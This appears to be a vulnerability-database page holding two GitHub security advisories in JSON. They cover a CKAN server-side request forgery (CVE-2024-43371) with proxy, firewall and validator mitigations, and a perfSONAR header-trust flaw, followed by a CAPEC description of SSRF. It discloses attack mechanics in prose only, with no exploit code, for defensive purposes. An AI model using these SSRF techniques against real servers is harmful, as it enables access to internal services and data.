There are a number of CKAN plugins, including XLoader, DataPusher, Resource proxy and ckanext-archiver, that work by downloading the contents of local or remote files in order to perform some actions with their contents (e.g. pushing to the DataStore, streaming contents or saving a local copy). All of them use the resource URL, and there are currently no checks to limit what URLs can be requested. This means that a malicious (or unaware) user can create a resource with a URL pointing to a place where they should not have access in order for one of the previous tools to retrieve it (known as a Server Side Request Forgery).
Patches and Workarounds
Users wanting to protect against these kinds of attacks can use one or a combination of the following approaches:
- Use a separate HTTP proxy like Squid that can be used to allow / disallow IPs, domains etc as needed, and make CKAN extensions aware of this setting via the
ckan.download_proxyconfig option. - Implement custom firewall rules to prevent access to restricted resources.
- Use custom validators on the resource
urlfield to block/allow certain domains or IPs.
All latest versions of the plugins linked above support the ckan.download_proxy settings. Support for this setting in the Resource Proxy plugin was included in CKAN 2.10.5 and 2.11.0
References
- Blog post provides more details on how to configure a Squid proxy to prevent these issues
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "ckan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.10.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-43371"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-21T18:27:11Z",
"nvd_published_at": "2024-08-21T15:15:09Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThere are a number of CKAN plugins, including [XLoader](https://github.com/ckan/ckanext-xloader), [DataPusher](https://github.com/ckan/datapusher), [Resource proxy](https://docs.ckan.org/en/latest/maintaining/data-viewer.html#resource-proxy) and [ckanext-archiver](https://github.com/ckan/ckanext-archiver/), that work by downloading the contents of local or remote files in order to perform some actions with their contents (e.g. pushing to the DataStore, streaming contents or saving a local copy). All of them use the resource URL, and there are currently no checks to limit what URLs can be requested. This means that a malicious (or unaware) user can create a resource with a URL pointing to a place where they should not have access in order for one of the previous tools to retrieve it (known as a [Server Side Request Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)).\n\n### Patches and Workarounds\n\nUsers wanting to protect against these kinds of attacks can use one or a combination of the following approaches:\n\n* Use a separate HTTP proxy like [Squid](https://www.squid-cache.org/) that can be used to allow / disallow IPs, domains etc as needed, and make CKAN extensions aware of this setting via the [`ckan.download_proxy`](https://docs.ckan.org/en/latest/maintaining/configuration.html#ckan-download-proxy) config option. \n* Implement custom firewall rules to prevent access to restricted resources.\n* Use custom validators on the resource `url` field to block/allow certain domains or IPs.\n\nAll latest versions of the plugins linked above support the `ckan.download_proxy` settings. Support for this setting in the Resource Proxy plugin was included in CKAN 2.10.5 and 2.11.0\n\n### References\n\n* [Blog post](https://feeding.cloud.geek.nz/posts/restricting-outgoing-webapp-requests-using-squid-proxy/) provides more details on how to configure a Squid proxy to prevent these issues\n",
"id": "GHSA-g9ph-j5vj-f8wm",
"modified": "2024-08-21T18:27:12Z",
"published": "2024-08-21T18:27:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ckan/ckan/security/advisories/GHSA-g9ph-j5vj-f8wm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43371"
},
{
"type": "WEB",
"url": "https://github.com/ckan/ckan/commit/382beaec98cb331f2a030459ef043c50eaf5ad53"
},
{
"type": "WEB",
"url": "https://github.com/ckan/ckan/commit/8601183cc2fc87277ea5b33ff75c3a5610812ab5"
},
{
"type": "PACKAGE",
"url": "https://github.com/ckan/ckan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Potential access to sensitive URLs via CKAN extensions (SSRF)"
}
GHSA-G9R7-HQ6J-VV4R
Vulnerability from github – Published: 2023-01-01 09:30 – Updated: 2025-04-11 15:32perfSONAR before 4.4.6, when performing participant discovery, incorrectly uses an HTTP request header value to determine a local address.
{
"affected": [],
"aliases": [
"CVE-2022-45027"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-01T08:15:00Z",
"severity": "MODERATE"
},
"details": "perfSONAR before 4.4.6, when performing participant discovery, incorrectly uses an HTTP request header value to determine a local address.",
"id": "GHSA-g9r7-hq6j-vv4r",
"modified": "2025-04-11T15:32:12Z",
"published": "2023-01-01T09:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45027"
},
{
"type": "WEB",
"url": "https://www.perfsonar.net/releasenotes-2022-11-09-4-4-6.html"
},
{
"type": "WEB",
"url": "https://zxsecurity.co.nz/research/advisories/perfsonar-multiple"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.